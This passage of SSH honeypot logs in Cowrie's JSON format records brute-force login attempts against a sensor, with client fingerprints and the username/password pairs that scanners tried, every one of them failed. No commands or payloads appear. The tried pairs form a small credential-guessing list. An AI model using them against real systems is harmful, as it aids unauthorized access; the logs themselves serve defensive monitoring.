1@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:50:24.962205Z","src_ip":"176.65.139.95","session":"2482c5edbd98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user1234","message":"login attempt [user/user1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:50:25.384986Z","src_ip":"176.65.139.95","session":"2482c5edbd98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:50:26.471656Z","src_ip":"176.65.139.95","session":"2482c5edbd98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":59896,"dst_ip":"159.203.135.109","dst_port":22,"session":"5689769d25f5","protocol":"ssh","message":"New connection: 176.65.139.95:59896 (159.203.135.109:22) [session: 5689769d25f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:50:31.262410Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:50:31.297032Z","src_ip":"176.65.139.95","session":"5689769d25f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:50:31.348826Z","src_ip":"176.65.139.95","session":"5689769d25f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1qaz@WSX","message":"login attempt [admin/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:50:31.870630Z","src_ip":"176.65.139.95","session":"5689769d25f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:50:32.968631Z","src_ip":"176.65.139.95","session":"5689769d25f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":59906,"dst_ip":"159.203.135.109","dst_port":22,"session":"873ddca0b77e","protocol":"ssh","message":"New connection: 176.65.139.95:59906 (159.203.135.109:22) [session: 873ddca0b77e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:50:38.410119Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:50:38.416926Z","src_ip":"176.65.139.95","session":"873ddca0b77e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:50:38.500001Z","src_ip":"176.65.139.95","session":"873ddca0b77e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zarghami","password":"123456","message":"login attempt [zarghami/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:50:39.166637Z","src_ip":"176.65.139.95","session":"873ddca0b77e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:50:40.257952Z","src_ip":"176.65.139.95","session":"873ddca0b77e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":57852,"dst_ip":"159.203.135.109","dst_port":22,"session":"47116a0d05ee","protocol":"ssh","message":"New connection: 176.65.139.95:57852 (159.203.135.109:22) [session: 47116a0d05ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:50:45.361841Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:50:45.366133Z","src_ip":"176.65.139.95","session":"47116a0d05ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:50:45.452465Z","src_ip":"176.65.139.95","session":"47116a0d05ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1234","message":"login attempt [user1/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:50:45.772118Z","src_ip":"176.65.139.95","session":"47116a0d05ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:50:46.872770Z","src_ip":"176.65.139.95","session":"47116a0d05ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":51254,"dst_ip":"159.203.135.109","dst_port":22,"session":"bce19868ce8c","protocol":"ssh","message":"New connection: 176.65.139.95:51254 (159.203.135.109:22) [session: bce19868ce8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:50:52.178908Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:50:52.188014Z","src_ip":"176.65.139.95","session":"bce19868ce8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:50:52.261809Z","src_ip":"176.65.139.95","session":"bce19868ce8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin1234","message":"login attempt [root/admin1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:50:52.969595Z","src_ip":"176.65.139.95","session":"bce19868ce8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:50:54.054112Z","src_ip":"176.65.139.95","session":"bce19868ce8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":38458,"dst_ip":"159.203.135.109","dst_port":22,"session":"d5707a3cdd40","protocol":"ssh","message":"New connection: 176.65.139.95:38458 (159.203.135.109:22) [session: d5707a3cdd40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:50:59.046490Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:50:59.051343Z","src_ip":"176.65.139.95","session":"d5707a3cdd40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:50:59.143777Z","src_ip":"176.65.139.95","session":"d5707a3cdd40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"changeme","message":"login attempt [root/changeme] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:50:59.442580Z","src_ip":"176.65.139.95","session":"d5707a3cdd40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:51:00.542119Z","src_ip":"176.65.139.95","session":"d5707a3cdd40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":48360,"dst_ip":"159.203.135.109","dst_port":22,"session":"f945a3f4ccf3","protocol":"ssh","message":"New connection: 159.203.92.129:48360 (159.203.135.109:22) [session: f945a3f4ccf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:51:01.714102Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:51:01.719833Z","src_ip":"159.203.92.129","session":"f945a3f4ccf3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:51:01.728740Z","src_ip":"159.203.92.129","session":"f945a3f4ccf3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"LILIN","password":"LILIN123","message":"login attempt [LILIN/LILIN123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:51:01.743279Z","src_ip":"159.203.92.129","session":"f945a3f4ccf3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:51:02.750525Z","src_ip":"159.203.92.129","session":"f945a3f4ccf3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":35372,"dst_ip":"159.203.135.109","dst_port":22,"session":"d2be96464dc5","protocol":"ssh","message":"New connection: 80.94.92.186:35372 (159.203.135.109:22) [session: d2be96464dc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:51:03.846434Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:51:03.850818Z","src_ip":"80.94.92.186","session":"d2be96464dc5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:51:04.040116Z","src_ip":"80.94.92.186","session":"d2be96464dc5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:51:04.576377Z","src_ip":"80.94.92.186","session":"d2be96464dc5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":38466,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa1b7993496f","protocol":"ssh","message":"New connection: 176.65.139.95:38466 (159.203.135.109:22) [session: fa1b7993496f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:51:05.459398Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:51:05.471153Z","src_ip":"176.65.139.95","session":"fa1b7993496f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:51:05.553445Z","src_ip":"176.65.139.95","session":"fa1b7993496f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:51:05.683642Z","src_ip":"80.94.92.186","session":"d2be96464dc5","protocol":"ssh"}
